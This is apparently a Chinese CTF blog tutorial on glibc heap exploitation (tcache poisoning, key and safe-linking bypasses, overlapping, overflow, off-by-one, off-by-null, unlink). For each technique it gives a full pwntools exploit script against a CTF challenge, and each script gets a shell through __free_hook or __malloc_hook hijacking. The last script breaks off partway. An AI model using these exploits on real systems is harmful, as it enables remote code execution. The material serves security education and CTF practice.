前面讲到,由于检查十分稀松的缘故,自 libc2.2 6 起引进的 tcache 机制便成为了 ptmalloc 利用的大热门,libc2.29 前对于 double free 几乎视而不见的机制也让 pwn 手们不用绞尽脑汁构造以前形如 A->B->A 的复杂利用链
通过诸如 tcache double free 等方式,我们可以达到修改 tcache_entry 的 next 指针的目的,从而在任意地址分配到一个 chunk,这种手法也叫做 tcache poisoning
到底是谁起这么多奇奇怪怪的名字(恼)
例题:ciscn_2019_es_1 - Use After Free + tcache poisoning
惯例的 checksec ,保护全开
拖入 IDA 进行分析
大概是有着分配、打印、释放堆块的功能
漏洞点在于释放时指针未置 0,存在 UAF(暗示 996 的公司永远不可能被真正消灭(←🔫
libc 2.27,没有 double free 检测,套板子一套带走(感觉现在大部分题目都是套板子 a…)
exp 如下:
from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
p = remote('node3.buuoj.cn',27368)
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.27.so')#ELF('/lib/x86_64-linux-gnu/libc.so.6')#
def cmd(choice:int):
p.recvuntil(b"choice:")
p.sendline(str(choice).encode())
def new(size:int, content):
cmd(1)
p.recvuntil(b"Please input the size of compary's name")
p.sendline(str(size).encode())
p.recvuntil(b"please input name:")
p.send(content)
p.recvuntil(b"please input compary call:")
p.send(b';/bin/sh\x00')
def dump(index:int):
cmd(2)
p.sendline(str(index).encode())
def free(index:int):
cmd(3)
p.sendline(str(index).encode())
def exp():
new(0x10, b'arttnba3') # idx 0
new(0x10, b'arttnba3') # idx 1
new(0x80, b'arttnba3') # idx 2
new(0x10, b'/bin/sh\x00') # idx 3
free(0)
free(0)
dump(0)
p.recvuntil(b'name:\n')
heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
heap_base = heap_leak & 0xfffffffff000
log.success('heap base leak: ' + hex(heap_base))
free(0)
free(0)
new(0x10, p64(heap_base + 0x10)) # idx 4
new(0x10, b'\x00' + b'\x07' * 0xf) # idx 5, hijack the tcache
free(2)
dump(2)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96
__malloc_hook = main_arena - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.success('libc base leak: ' + hex(libc_base))
free(0)
free(0)
new(0x10, p64(libc_base + libc.sym['__free_hook']))
new(0x10, p64(libc_base + libc.sym['system']))
free(3)
p.interactive()
if __name__ == '__main__':
exp()III.tcache key bypass(libc 2.29 and up)
前面讲到,自 glibc2.29 版本起 tcache 新增了一个 key 字段,该字段位于 chunk 的 bk 字段,值为 tcache 结构体的地址,若 free() 检测到 chunk->bk == tcache 则会遍历 tcache 对应链表中是否有该 chunk
在这种情况下,我们在进行 tcache double free 之前,还需要想办法绕过 tcache key 的保护,但好处是我们可以通过 tcache key 直接泄露堆基址
CTF 中涉及 tcache key 的题目中通常都会提供有清除该 key 的方法,若没有也可以在填满 tcache 后重新回归 fastbin 的利用
常见的 tcache key bypass 手段如下:
- 清除 tcache key:通过一些对于垂悬指针的利用手段将该 free chunk 中记录的 tcache key 清除,从而绕过该检测
- tcache stash with fastbin double free:在 fastbin 中并没有严密的 double free 检测,我们可以在填满对应的 tcache 链条后在 fastbin 中完成 double free,随后通过 stash 机制将 fastbin 中 chunk 倒回 tcache 中
例题 1(清除 tcache key):bytectf2020 - final - awd day1 - diary
点击下载-diary
大概是以下几个点:
delete 堆块的时候没有置零存在 UAF,重新 edit 可以清除 tcache key 绕过检测
edit 时会输出堆块大小,也就是输出 FD,FD 指针用来存储堆块大小,可以泄露堆地址和 libc 基址
由于犯了以 chunk 的 FD 指针来判断堆块大小的逻辑错误判断,于是 delete 后再 edit 可以进行堆块溢出
修改__free_hook 为 system 以后释放一个内容为”/bin/sh”的块即可 get shell
笔者在比赛中踩坑的点:
由于 FD 用于储存堆块大小,利用 edit 泄露 main_arena 的时候会破坏 BK,需要手动将 main_arena + 96 输回去
同上,由于输入都是从 BK 开始,故需要堆溢出改一个 chunk 的 FD 为”/bin/sh”
笔者在比赛时写的 exp 如下:(稍微有一丶乱…)
from pwn import *
from LibcSearcher import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
p = process('./diary')#remote('', 5021)
e = ELF('./diary')
libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so") # test locally
one_gadget = 0xe6e73
def cmd(index:int):
p.recvuntil(b'Options')
p.sendline(str(index).encode())
def new(name, size:int, content):
cmd(1)
p.recvuntil(b"Name:")
p.sendline(name)
p.recvuntil(b"Size:")
p.sendline(str(size).encode())
p.recvuntil(b"Content:")
p.sendline(content)
def edit(name, content):
cmd(2)
p.recvuntil(b"Name:")
p.sendline(name)
p.recvuntil(b"bytes:")
p.sendline(content)
def free(name):
cmd(3)
p.recvuntil(b"Name:")
p.sendline(name)
def guess():
cmd(4)
def exp():
new('arttnba1', 0x10, '/bin/sh\x00')
new('arttnba0', 0x10, 'arttnba0')
new('arttnba2', 0x20, 'arttnba2')
new('shell', 0x30, 'shell')
new('sheep', 0x30, 'sheep')
#gdb.attach(p)
# fill the tcache
for i in range(5):
free('arttnba0')
edit('arttnba0', '') # clear the tcache key
for i in range(5):
free('shell')
edit('shell', '')
for i in range(5):
free('arttnba2')
edit('arttnba2', '')
# leak the heap addr
free('arttnba2')
p.recv()
cmd(2)
p.recvuntil(b"Name:")
p.sendline('arttnba2')
p.recvuntil(b"Input")
heap_addr = int(p.recvuntil('bytes', drop = True), 16)
p.sendline('')
new('arttnba3', 0x90, 'arttnba3')
# fill the tcache
for i in range(7):
free('arttnba3')
edit('arttnba3', '')
# leak the libc
free('arttnba3')
p.recv()
cmd(2)
p.recvuntil(b"Name:")
p.sendline('arttnba3')
p.recvuntil(b"Input")
main_arena = int(p.recvuntil('bytes', drop = True), 16) - 96
p.sendline(p64(main_arena + 96)) # fix the heap
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
log.info('libc addr: ' + hex(libc_base))
#gdb.attach(p)
# tcache poisoning
edit('arttnba0', b'A' * (0x8 + 0x50) + p64(0) + p64(0x31) + b'A' * 0 + p64(libc_base + libc.sym['__free_hook'] - 8) * 3)
new('arttnba7', 0x20, p64(libc_base + libc.sym['system'])*2)
new('freehook', 0x20, p64(libc_base + libc.sym['system'])*2)
#gdb.attach(p)
#p.interactive()
edit('shell', b'A' * (0x8 + 0x20 + 0x50) + p64(0) + p64(0x41) + b'A' * 0 + b'/bin/sh\x00' * 10)
#gdb.attach(p)
free('sheep') # system("/bin/sh")
p.interactive()
if __name__ == '__main__':
exp()例题 2(fastbin double free):ciscn_2019_final_3
惯例的 checksec ,保护全开
image.png
image.png
拖入 IDA 进行分析
直接就有一个裸的 UAF
唯一的输出功能是在每次分配之后会给出 chunk 的地址,利用这个我们可以泄露 堆基址,而我们后续若是能够分配到一个位于 libc 中的 chunk ,则毫无疑问也能泄露 libc 基址
同时题目限制了只能分配 0x78 以下的 chunk ,我们没法直接获得一个 unsorted bin chunk
题目给出的 libc 为没有 double free 检测的 2.27 版本,但是笔者个人觉得既然往后的新版本 libc 的 tcache 都有 double free 检测,现在这里主动忽视掉这一点等于是自欺欺人(),于是笔者选择通过 stash 机制绕过 double free 检测的做法
主动提高题目难度的屑人
由于题目仅仅允许分配 0x18 次 chunk,而利用 stash 绕过 double free 检测至少需要使用其中的 19 次,第 20 次才是我们的第一次任意地址写,因此我们需要精确计算利用好剩下的 4 次机会
那么在这里笔者选择劫持 tcache struct :
tcache struct 大小为 0x250(libc 2.27),free 刚好可以放入 unsorted bin
可以直接控制对应下标的 count ,而不需要想办法分配大于 0x400 的 chunk 以略过 tcache
可以直接控制对应下标存放的 chunk
我们控制 tcache struct 之后直接在合适下标内 再写入 tcache 地址,二次分配后我们便能够分配到一个 libc 中的 chunk,以此泄露 libc 基址
最后就是改 __free_hook 为 system 的常规流程,由于 chunk 数量限制,我们需要多次控制 tcache struct
最终的 exp 如下:
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = remote('node3.buuoj.cn', 26084) #process('./ciscn_final_3')
libc = ELF('./libc.so.6') #ELF('/lib/x86_64-linux-gnu/libc.so.6')#
def cmd(choice:int):
p.recvuntil(b"choice > ")
p.sendline(str(choice).encode())
def new(index:int,size:int , content):
cmd(1)
p.recvuntil(b"input the index")
p.sendline(str(index).encode())
p.recvuntil(b"input the size")
p.sendline(str(size).encode())
p.recvuntil(b"now you can write something")
p.send(content)
def free(index:int):
cmd(2)
p.recvuntil(b"input the index")
p.sendline(str(index).encode())
def exp():
new(0, 0x70, b'arttnba3')
p.recvuntil(b"gift :")
heap_leak = int(p.recvuntil(b'\n', drop = True), 16)
log.info('heap addr leak: ' + hex(heap_leak))
heap_base = heap_leak - 0x11e70
log.success('heap base: ' + hex(heap_base))
for i in range(1,10):
new(i, 0x70, b'arttnba3')
for i in range(7):
free(i)
free(7)
free(8)
free(7)
for i in range(10,17):
new(i, 0x70, b'/bin/sh\x00')
new(17, 0x70, p64(heap_base + 0x10))
new(18, 0x70, b'arttnba3')
new(19, 0x70, b'arttnba3')
new(20, 0x70, (b'\x00' * 35 + b'\x07' * 1).ljust(0x40, b'\x00') + p64(heap_base + 0x10) * 6)
free(20)
new(21, 0x20, b'arttnba3')
new(22, 0x20, b'arttnba3')
p.recvuntil(b"gift :")
libc_leak = int(p.recvuntil(b'\n', drop = True), 16)
log.info('libc addr leak: ' + hex(libc_leak))
libc_base = libc_leak - 0x3ebca0
log.success('libc base: ' + hex(libc_base))
new(23, 0x50, (b'\x01' * 10).ljust(0x40, b'\x00') + p64(libc_base + libc.sym['__free_hook']) * 2)
new(24, 0x10, p64(libc_base + libc.sym['system']))
free(10)
p.interactive()
if __name__ == '__main__':
exp()三、堆重叠(Heap Overlapping)
堆块重叠即我们同时拥有两个或以上的下标指向同一个 chunk(同一个地址),在这样的情况下便可以手动实现 double free 、地址泄露(例如释放一个下标后通过另一个下标打印 chunk 内容从而获得堆/libc 相关地址)等各种利用,十分方便
例题:*CTF2021 - babyheap - Use After Free + tcache poisoning
比较白给的签到题
点击下载-babyheap.zip
惯例的 checksec,保护全开(基本上大比赛题目都是默认保护全开的
拖入 IDA 进行分析
程序本身有着分配、删除、修改、打印堆块内容的功能,给的面面俱到,十分白给
漏洞点在于 delete()函数中 free 后没有将指针置 NULL,存在 Use After Free 漏洞
在 add()函数中我们有着 16 个可用的下标,且分配时会直接覆写原指针,因此我们几乎是可以分配任意个 chunk,但是只允许我们分配 fastbin size 范围的 chunk
因此若想要泄露 libc 地址我们需要借助 malloc_consolidate()将 chunk 送入 small bins 中
注意到 leaveYourName()函数中会调用 malloc() 分配一个大 chunk,因此我们可以通过调用该函数触发 malloc_consolidate(),将 fastbin 中 chunk 送入 smallbin, 以泄露 libc 基址
gdb 调试我们可以得知该地址与 main_arena 间距 336,因而我们便可以得到 libc 基址
将这个 small bin 再分配回来我们就能够实现 chunk overlapping 了,继而就是通过程序的 edit 功能实现 tcache poisoning 修改 __free_hook 为 system() 后 free 一个内容为 “/bin/sh” 的 chunk 即可 get shell
需要注意的是 edit()函数中是从 bk 的位置开始输入的,因而我们的 fake chunk 需要构造到__free_hook - 8 的位置
故构造 exp 如下:
from pwn import *
#context.log_level = 'DEBUG'
context.arch = 'amd64'
p = process('./pwn') # p = remote('52.152.231.198', 8081)
e = ELF('./pwn')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6') # libc = ELF('./libc.so.6')
def cmd(command:int):
p.recvuntil(b'>> ')
p.sendline(str(command).encode())
def new(index:int, size:int):
cmd(1)
p.recvuntil(b"input index")
p.sendline(str(index).encode())
p.recvuntil(b"input size")
p.sendline(str(size).encode())
def delete(index:int):
cmd(2)
p.recvuntil(b"input index")
p.sendline(str(index).encode())
def edit(index:int, content):
cmd(3)
p.recvuntil(b"input index")
p.sendline(str(index).encode())
p.recvuntil(b"input content")
p.send(content)
def dump(index:int):
cmd(4)
p.recvuntil(b"input index")
p.sendline(str(index).encode())
def leaveYourName(content):
cmd(5)
p.recvuntil(b"your name:")
p.send(content)
def exp():
for i in range(16):
new(i, 0x10)
# chunk 15 to prevent consolidate forward, so that we can get a smallbin chunk
for i in range(15):
delete(i)
# malloc_consolidate() to get a smallbin chunk, leak libc addr
leaveYourName(b'arttnba3')
#gdb.attach(p)
dump(7)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 336
__malloc_hook = main_arena - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.info("Libc addr:" + str(hex(libc_base)))
#tcache poisoning
for i in range(7):
new(i, 0x10)
new(7, 0x60)
edit(7, p64(0) * 2 + p64(0x21) + p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0x21))
delete(10)
delete(9)
delete(8)
edit(7, p64(0) * 2 + p64(0x21) + p64(libc_base + libc.sym['__free_hook'] - 8))
# overwrite __free_hook
new(10, 0x10)
new(9, 0x10)
edit(9, p64(libc_base + libc.sym['system']))
# get the shell
edit(7, p64(0) * 2 + p64(0x21) + b"/bin/sh\x00")
delete(8)
p.interactive()
if __name__ == '__main__':
exp()四、堆溢出
堆溢出通常指的是在程序读取输入到堆块上时,未经严格的检测(如使用 gets()读入),导致用户输入的数据可以溢出到其物理相邻高地址的 chunk,从而改写其结构,予攻击者以无限的利用空间
例题:babyheap_0ctf_2017 - Unsorted bin leak + Fastbin Attack + one_gadget
似乎是比较经典的堆溢出入门题……?
惯例的 checksec,保护全开
拖入 IDA 里进行分析(以下部分函数、变量名经过重命名)
常见的堆题基本上都是菜单题,本题也不例外
我们可以发现在 writeHeap()函数中并没有对我们输入的长度进行检查,存在堆溢出
故我们考虑先创建几个小堆块,再创建一个大堆块,free 掉两个小堆块进入到 fastbin,用堆溢出改写 fastbin 第一个块的 fd 指针为我们所申请的大堆块的地址,需要注意的是 fastbin 会对 chunk 的 size 进行检查,故我们还需要先通过堆溢出改写大堆块的 size,之后将大堆块分配回来后我们就有两个指针指向同一个堆块
利用堆溢出将大堆块的 size 重新改大再 free 以送入 unsorted bin,此时大堆块的 fd 与 bk 指针指向 main_arena+0x58 的位置,利用另外一个指向该大堆块的指针输出 fd 的内容即可得到 main_arena+0x58 的地址,就可以算出 libc 的基址
接下来便是 fastbin attack:将某个堆块送入 fastbin 后改写其 fd 指针为**malloc_hook 的地址(**malloc_hook 位于 main_arena 上方 0x10 字节处),再将该堆块分配回来,此时 fastbin 中该链表上就会存在一个我们所伪造的位于__malloc_hook 上的堆块,申请这个堆块后我们便可以改写 malloc_hook 上的内容为后门函数地址,最后随便分配一个堆块便可 getshell
考虑到题目中并不存在可以直接 getshell 的后门函数,故考虑使用 one_gadget 以 getshell
需要注意的是 fastbin 存在 size 检查,故在这里我们选择在__malloc_hook - 0x23 的位置构造 fake chunk(size 字段为 0x7f 刚好能够通过 malloc(0x60)的 size 检查)
构造 payload 如下:
from pwn import *
p = remote('node3.buuoj.cn',27143)#process('./babyheap_0ctf_2017')#
libc = ELF('./libc-2.23.so')
def alloc(size:int):
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))
def fill(index:int,content):
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Size: ')
p.sendline(str(len(content)))
p.recvuntil('Content: ')
p.send(content)
def free(index:int):
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(index))
def dump(index:int):
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Content: \n')
return p.recvline()
alloc(0x10) #idx0
alloc(0x10) #idx1
alloc(0x10) #idx2
alloc(0x10) #idx3
alloc(0x80) #idx4
free(1) #idx1
free(2) #idx2
payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)
fill(0,payload)
payload = p64(0)*3 + p64(0x21)
fill(3,payload)
alloc(0x10) #idx1, the former idx2
alloc(0x10) #idx2, the former idx4
payload = p64(0)*3 + p64(0x91)
fill(3,payload)
alloc(0x80) #idx5, prevent the top chunk combine it
free(4) #idx2 got into unsorted bin, fd points to the main_arena
main_arena = u64(dump(2)[:8].strip().ljust(8,b'\x00')) - 0x58
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget = libc_base + 0x4526a
alloc(0x60) #idx4
free(4) #idx2 got into fastbin
payload = p64(malloc_hook - 0x23)
fill(2,payload) #overwrite fd to fake chunk addr
alloc(0x60) #idx4
alloc(0x60) #idx6, our fake chunk
payload = b'A'*0x13 + p64(one_gadget)
fill(6,payload)
alloc(0x10)
p.interactive()off by one
off by one 通常指的是对于堆块的读写存在一个字节的溢出,利用这一个字节的溢出我们通常可以溢出到一个 chunk 物理相邻高地址 chunk 的 size 域,篡改其 size 域以便后续的利用(如构造 overlapping 等)
例题:[V&N2020 公开赛]simpleHeap - off by one + fastbin attack + one_gadget
又是一道堆题来了,不出所料,保 护 全 开
同时题目提示 Ubuntu16 ,也就是说没有 tcache
拖入 IDA 进行分析
这是一道有着分配、打印、释放、编辑堆块的功能的堆题,不难看出我们只能分配 10 个堆块,不过没有 tcache 的情况下,空间其实还是挺充足的
漏洞点在 edit 函数中,会多读入一个字节,存在 off by one 漏洞,利用这个漏洞我们可以修改一个堆块的物理相邻的下一个堆块的 size
由于题目本身仅允许分配大小小于 111 的 chunk,而进入 unsorted bin 需要 malloc(0x80) 的 chunk ,故我们还是考虑利用 off by one 的漏洞改大一个 chunk 的 size 送入 unsorted bin 后分割造成 overlapping 的方式获得 libc 的地址
因为刚好 fastbin attack 所用的 chunk 的 size 为 0x71 ,故我们将这个大 chunk 的 size 改为 0x70 + 0x70 + 1 = 0xe1 即可
传统思路是将 __malloc_hook 改为 one_gadget 以 getshell,但是直接尝试我们会发现根本无法 getshell
这是因为 one_gadget 并非任何时候都是通用的,都有一定的先决条件,而当前的环境刚好不满足 one_gadget 的环境
那么这里我们可以尝试使用 realloc 函数中的 gadget 来进行压栈等操作来满足 one_gadget 的要求,该段 gadget 执行完毕后会跳转至 __realloc_hook(若不为 NULL )
而 **realloc_hook 和 **malloc_hook 刚好是挨着的,我们在 fastbin attack 时可以一并修改
故考虑修改 **malloc_hook 跳转至 realloc 函数开头的 gadget 调整堆栈,修改 **realloc_hook 为 one_gadget 即可 getshell
构造 exp 如下:
from pwn import *
p = remote('node3.buuoj.cn', 28978)
libc = ELF('./libc-2.23.so')
context.log_level = 'DEBUG'
one_gadget = 0x4526a
def cmd(command:int):
p.recvuntil(b"choice: ")
p.sendline(str(command).encode())
def new(size:int, content):
cmd(1)
p.recvuntil(b"size?")
p.sendline(str(size).encode())
p.recvuntil(b"content:")
p.send(content)
def edit(index:int, content):
cmd(2)
p.recvuntil(b"idx?")
p.sendline(str(index).encode())
p.recvuntil(b"content:")
p.send(content)
def show(index:int):
cmd(3)
p.recvuntil(b"idx?")
p.sendline(str(index).encode())
def free(index:int):
cmd(4)
p.recvuntil(b"idx?")
p.sendline(str(index).encode())
def exp():
# initialize chunk
new(0x18, "arttnba3") # idx 0
new(0x60, "arttnba3") # idx 1
new(0x60, "arttnba3") # idx 2
new(0x60, "arttnba3") # idx 3, prevent the top chunk consolidation
# off by one get the unsorted bin chunk
edit(0, b'A' * 0x10 + p64(0) + b'\xe1') # 0x70 + 0x70 + 1
free(1)
new(0x60, "arttnba3") # idx 1
# leak the libc addr
show(2)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88
malloc_hook = main_arena - 0x10
libc_base = main_arena - 0x3c4b20
log.success("libc addr: " + hex(libc_base))
# overlapping and fastbin double free
new(0x60, "arttnba3") # idx 4, overlapping with idx 2
free(2)
free(1)
free(4)
# fake chunk overwrite __realloc_hook
new(0x60, p64(libc_base + libc.sym['__malloc_hook'] - 0x23)) # idx 1
new(0x60, "arttnba3") # idx 2
new(0x60, "arttnba3") # idx 4
new(0x60, b'A' * (0x13 - 8) + p64(libc_base + one_gadget) + p64(libc_base + libc.sym['__libc_realloc'] + 0x10)) # idx 5, our fake chunk
# get the shell
cmd(1)
p.sendline(b'1')
p.interactive()
if __name__ == '__main__':
exp()off by null
off by null 则是 off by one 的一种特殊形式,即仅溢出一个’\0’字节,通常出现于读入字符串时设计逻辑失误的情况(例如使用了 strcpy 或者是手动在末尾加 \0 等)
比起 off by one,该种漏洞限制了溢出的一个字节为’\0’,极大地限制了我们的利用,但我们的修改仍能够达到一定的效果
例题:LCTF2018 - easy_heap - off by null + chunk overlapping + Unsorted bin Leak + one_gadget
点击下载-easy_heap
点击下载-libc64.so
惯例的 checksec 分析,保护全开
拖入 IDA 进行分析(部分函数及变量经过重命名
果不其然,传统的 CTF 签到题都是菜单堆题,LCTF2018 也不例外
我们可以看到程序本身仅会分配大小为 0xF8 的堆块
同时本题只允许我们分配 10 个堆块,在需要用 7 个来填满 tcache 的前提下, 可用空间属实有一丶丶紧张
漏洞点存在于读入输入时,会将当前 chunk 的*(ptr + size)置 0
我们不难想到,若是我们输入的 size 为 0xf8,则有机会将下一个物理相邻 chunk 的 PREV_INUSE 域覆盖为 0,即存在 off by null 漏洞
248 = 16*15 + 8
通过 off by null 漏洞我们便可以实现堆块的重叠(overlap):在 tcache 有六个 chunk、我们手上有地址连续的三个 chunk:A、B、C 的情况下,先 free 掉 B,送入 tcache 中保护起来,free 掉 A 送入 unsorted bin,再 malloc 回 B,覆写 C 的 PREV_IN_USE 为 0,之后 free 掉 C,触发 malloc_consolidate,合并成为一个 0x300 的大 chunk,实现 overlapping
之后倒空 tcache,再分配一个 chunk,便会分割 unsorted bin 里的大 chunk,此时 unsorted bin 里的 chunk 与此前的 chunk B 重叠,输出 chunk B 的内容便能获得 libc 基址
再分配一个 chunk 以得到指向相同位置上的堆块的索引,在这里构造 tcache poisoning 覆写__malloc_hook 为 one_gadget 后随便分配一个 chunk 即可 getshell
需要注意的是在释放堆块的功能函数中在 free 前会先清空堆块内容,故在这里无法通过修改free_hook 为 system 后 free(“/bin/sh”)的方法来 getshell,因此笔者只好选择攻击malloc_hook
故构造 exp 如下:
from pwn import *
p = process('./easy_heap')
e = ELF('./easy_heap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x10a41c
def cmd(index:int):
p.recvuntil(b'> ')
p.sendline(str(index).encode())
def new(size:int, content):
cmd(1)
p.recvuntil(b'size \n> ')
p.sendline(str(size).encode())
p.recvuntil(b'content \n> ')
p.sendline(content)
def free(index:int):
cmd(2)
p.recvuntil(b'index \n> ')
p.sendline(str(index).encode())
def dump(index:int):
cmd(3)
p.recvuntil(b'index \n> ')
p.sendline(str(index).encode())
def exp():
# malloc the chunk
for i in range(10):
new(114, "arttnba3")
# fill the tcache
for i in range(7):
free(9-i)
# unsorted bin chunk consolidate
free(0)
free(1)
free(2)
# re-malloc the chunk
for i in range(10):
new(114, "arttnba3")
# fill the tcache, protect the important chunk
free(8)
for i in range(6):
free(i)
# unsorted bin overlap
free(7)
for i in range(6):
new(114, "arttnba3")
new(0xF8, "arttnba3") # idx 7, the former 8
for i in range(7):
free(i)
free(9)
# leak the libc base
for i in range(7):
new(114, "arttnba3")
new(114, "arttnba3") # idx 8
dump(7)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96
__malloc_hook = main_arena - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.info("libc addr leak: " + hex(libc_base))
# tcache poisoning
new(114, "arttnba3") # idx 9
free(0)
free(1)
free(7)
free(2)
free(9)
new(114, p64(libc_base + libc.sym['__malloc_hook']))
new(114, "arttnba3")
new(114, "arttnba3")
new(114, p64(libc_base + one_gadget)) # fake chunk
# get the shell
cmd(1)
p.interactive()
if __name__ == '__main__':
exp()五、Safe-Linkling bypass(glibc 2.32 and up)
前面我们讲到,自 glibc2.32 起新增了 safe-linking 机制用以保护存放在 tcache 与 fastbin 中的 chunk 指针,保证 chunk 链表的完整性
但是 safe-linking 机制同样存在着其缺点:对于 tcache 而言,第一个被放入 tcache 的 chunk 的 fd 指针在经过 safe-linking 后会被写入一个未加密的堆上相关地址(与 0 异或),因而我们可以通过该 chunk 的 fd 指针泄露堆基址,有了堆基址我们便能很轻松地绕过 safe-linking 机制的保护
同样地,若是我们能够打印 tcache 中 free chunk 的 bd 字段,则同样可以获得 tcache key,以此泄露堆基址,绕过 safe-linking
例题:[VNCTF 2021]ff - tcache poisoning + IO_FILE hijack
惯例的 checksec ,保护全开
拖入 IDA 进行分析
大致是有着分配、释放、打印、编辑堆块功能的程序,但是限制了只能编辑两次、打印一次,同时一次只能操作一个堆块
释放功能中没有清空,存在 UAF
但是 libc 的版本为 2.32 ,那么我们需要用掉唯一的一次打印的机会泄露堆基址才能通过 double free 进行任意地址写
而我们还需要想办法泄露 libc 基址,但是我们只能分配 0x80 的堆块,即使劫持了 tcache struct 后所释放的堆块也只能够进入 fastbin 中(而且我们一次只能操作一个堆块
考虑到 tcache 管理器 本身便是一个 0x291 的堆块,我们可以劫持之后改对应计数为 7 后 free 掉,送入 unsorted bin 中,之后切割这个大 chunk,利用残留指针 大概 1/16 的几率可以爆破到 stdout 附近,劫持 stdout 以泄露 libc 基址,最后改 __free_hook 为 system 函数后释放一个内容为 /bin/sh 的 chunk 即可 get shell
非酋的话可能要爆破很久…
故构造 exp 如下:
from pwn import*
#context.log_level = 'debug'
global p
libc = ELF('./libc.so.6')#ELF('/lib/x86_64-linux-gnu/libc.so.6')#
def cmd(command:int):
p.recvuntil(b">>")
p.sendline(str(command).encode())
def new(size:int, content):
cmd(1)
p.recvuntil(b"Size:")
p.sendline(str(size).encode())
p.recvuntil(b"Content:")
p.send(content)
def free():
cmd(2)
def show():
cmd(3)
def edit(content):
cmd(5)
p.recvuntil(b"Content:")
p.send(content)
def exp(hit_byte):
new(0x80, b'arttnba3')
free()
show()
heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
heap_base = heap_leak * 0x1000
log.success('heap base: ' + hex(heap_base))
edit(b'arttnba3arttnba4')
free()
edit(p64(heap_leak ^ (heap_base + 0x10)))
new(0x80, b'arttnba3')
new(0x80, b'\x00\x00' * (0xe + 0x10 + 9) + b'\x07\x00')
free()
new(0x40, (b'\x00\x00' * 3 + b'\x01\x00' + b'\x00\x00' * 2 + b'\x01\x00').ljust(0x70, b'\x00')) # unknown reason, bigger than 0x48 will failed.
new(0x30, b'\x00'.ljust(0x30, b'\x00'))
new(0x10, p64(0) + b'\xc0' + p8(hit_byte * 0x10 + 6)) # 1/16 to hit stdout
new(0x40, p64(0xfbad1800) + p64(0) * 3 + b'\x00')
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1e4744
new(0x10, p64(libc_base + libc.sym['__free_hook']))
new(0x70, p64(libc_base + libc.sym['system']))
new(0x10, b'/bin/sh\x00')
free()
p.interactive()
if __name__ == '__main__':
count = 1
i = 0
while True:
try:
print('the no.' + str(count) + ' try')
print(b'try: ' + b'\xc0' + p8(i * 0x10 + 6))
p = remote('node3.buuoj.cn', 26018)#process('./ff') #
exp(i)
except Exception as e:
print(e)
p.close()
i = i + 1
count = count + 1
i = i % 16
continue六、Unlink
由于 unlink 中存在着各种各样的安全检测,因此我们无法通过 unlink 直接进行任意地址写入
但是我们仍旧能够通过 unlink 机制将特定地址写入到特定的位置:
设指向可 UAF chunk 的指针的地址为 ptr
修改 fd 为 ptr - 0x18
修改 bk 为 ptr - 0x10
触发 unlink
ptr 处的指针会变为 ptr - 0x18。
例题:hitcon2014_stkof - Unlink + got hijack + Fastbin Attack + one_gadget
惯例的 checksec ,保护全…只开了 NX 和 canary
拖入 IDA 进行分析
没有菜单提示的菜单题(恼)
大概是有分配、释放、编辑堆块功能
漏洞在于编辑长度自定,存在堆溢出
没有打印功能,没有 tcache 也难整任意地址写(fastbin size 检查),那就只能通过 unlink 劫持 got 表了(恼)
大概是构造如下堆布局(表格有点丑,将就着看(x)),因为存放堆指针的数组在 bss 段上,没开 PIE,那我们直接用 unlink 劫持 got 表即可
| – | – | – |
| address | prev_size | size|
| hunk2 | 0 | 0x31 |
|(fake chunk)| 0 | 0x21 |
|chunk_array[2] - 0x18 | chunk_array[2] - 0x10 |
|chunk3 | 0x20 | 0x90 |
| … | … |
大概能够满足 fake chunk->FD->BK = fake chunk 和 fake chunk->BK->FD = fake chunk ,此时 free(chunk3),由于 prev_in_use 位为 0,我们的 fake chunk 就会被合并到 chunk3 中
接下来的 unlink 操作会将 fake chunk->FD->BK 赋值为 fake chunk->BK,将 fake chunk->BK->FD 赋值为 fake chunk->FD
即存放 chunk2 指针的位置存放的指针变成了 chunk_array 的地址,此时我们便可以直接修改 chunk_array 中指针,劫持 got 表一套带走
exp 如下:
from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
p = remote('node3.buuoj.cn',27629)#process('./stkof') #
e = ELF('./stkof')
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.23.so')#ELF('/lib/x86_64-linux-gnu/libc.so.6')#
def new(size:int):
p.sendline(b'1')
p.sendline(str(size))
p.recvuntil(b'OK')
def edit(index:int ,size:int ,content):
p.sendline(b'2')
p.sendline(str(index))
p.sendline(str(size))
p.send(content)
p.recvuntil(b'OK')
def free(index:int):
p.sendline(b'3')
p.sendline(str(index))
def dump(index:int):
p.sendline(b'4')
p.sendline(str(index))
def exp():
new(0x10) # idx 1
new(0x20) # idx 2
new(0x80) # idx 3
new(0x10) # idx 4
edit(2, 0x30, p64(0) + p64(0x21) + p64(0x602140 + 0x10 - 0x18) + p64(0x602140 + 0x10 - 0x10) + p64(0x20) + p64(0x90))
free(3)
edit(2, 0x28, p64(0) * 2 + p64(e.got['free']) + p64(0x602138) + p64(e.got['puts']))
